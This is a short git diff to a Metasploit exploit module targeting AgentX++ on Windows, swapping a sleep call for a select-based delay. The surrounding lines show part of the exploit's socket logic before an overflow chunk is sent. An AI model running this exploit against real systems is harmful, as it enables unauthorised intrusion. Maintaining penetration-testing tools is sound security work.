diff --git a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb
index 163db5bb68..0f57816da4 100644
--- a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb
+++ b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb
@@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		sock.put(hdr)
 
 		# Wait to make sure it processed that chunk.
-		sleep(0.5)
+		select(nil, nil, nil, 0.5)
 		#print_status("press enter to trigger..."); x = $stdin.gets
 
 		# Send the rest (smashed!)